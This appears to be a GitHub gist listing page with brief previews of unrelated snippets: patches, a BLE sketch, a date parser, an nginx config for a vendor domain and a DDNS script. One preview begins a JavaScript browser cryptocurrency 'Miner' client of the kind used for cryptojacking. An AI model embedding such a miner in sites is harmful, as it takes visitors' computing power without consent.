View luajit-ctyp-remember-self.patch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/src/lib_ffi.c b/src/lib_ffi.c | |
index a29014e5..268c948c 100644 | |
--- a/src/lib_ffi.c | |
+++ b/src/lib_ffi.c | |
@@ -494,6 +494,7 @@ LJLIB_CF(ffi_new) LJLIB_REC(.) | |
{ | |
CTState *cts = ctype_cts(L); | |
CTypeID id = ffi_checkctype(L, cts, NULL); | |
+ printf("my type is %d\n", id); | |
CType *ct = ctype_raw(cts, id); |
View main.cpp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Arduino.h> | |
#include <BLEDevice.h> | |
BLEClient *pClient; | |
BLEScan *pBLEScan; | |
#define SCAN_TIME 10 // seconds | |
bool connected = false; |
View rfc822.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import time | |
def rfc822(s): | |
_ = re.findall("[A-z][a-z]+,\s*([^\+G]+)(?:$|\s([\+\-]*)(\d+|GMT))", s) | |
if not s: | |
print("%s is not RFC822 Date" % s) | |
return 0 | |
dt, sgn, tz = _[0] | |
if tz == "GMT": |
View changyan.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import time | |
cmt = open('export.json').read() | |
cmt = json.loads(cmt) | |
print(len(cmt['comments'])) | |
blk = set(( | |
'=======', | |
'~~~~~~~~~~~~' |
View weather.conf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server { | |
listen 443 ssl; | |
listen [::]:443 ssl; | |
ssl_certificate certs/default.crt; | |
ssl_certificate_key certs/default.key; | |
server_name phiclouds.phicomm.com; | |
access_log /var/log/nginx/weather-access.log; |
View gist:0d83a7f19eee4caaef8c4d0303bb8d6c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(window) { | |
"use strict"; | |
var Miner = function(siteKey, params) { | |
this.params = params || {}; | |
this._siteKey = siteKey; | |
this._user = null; | |
this._threads = []; | |
this._hashes = 0; | |
this._currentJob = null; | |
this._autoReconnect = true; |
View csft-sphinx-2.2.11.patch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/.gitignore b/.gitignore | |
index f5be264..518fcc3 100644 | |
--- a/.gitignore | |
+++ b/.gitignore | |
@@ -64,3 +64,10 @@ | |
/test/ql/data/*.lock | |
/test/ql/*.class | |
/test/ql/*.exe | |
+ | |
+# for qt-creator |
View git-diff.patch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
From c7db4c68750b17532e78da313c5b5d25a1d00a3e Mon Sep 17 00:00:00 2001 | |
From: nzinfo <limn@coreseek.com> | |
Date: Thu, 13 Aug 2015 23:16:20 +0800 | |
Subject: [PATCH] add mmseg support, begin fix pre-token | |
--- | |
acinclude.m4 | 89 ++++++++++++++ | |
configure.ac | 21 +++- | |
src/Makefile.am | 4 + | |
src/sphinx.cpp | 347 ++++++++++++++++++++++++++++++++++++++++++++++++++-- |
View cloudflare-cloudxns-ddns.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# can be A or AAAA | |
do_record=AAAA | |
# the interface to get ipv6 address | |
iface=eth0 | |
# the static suffix we should add to | |
v6_suf=53 | |
# cloudflare stuff | |
cf_mail="me@email.com" |
NewerOlder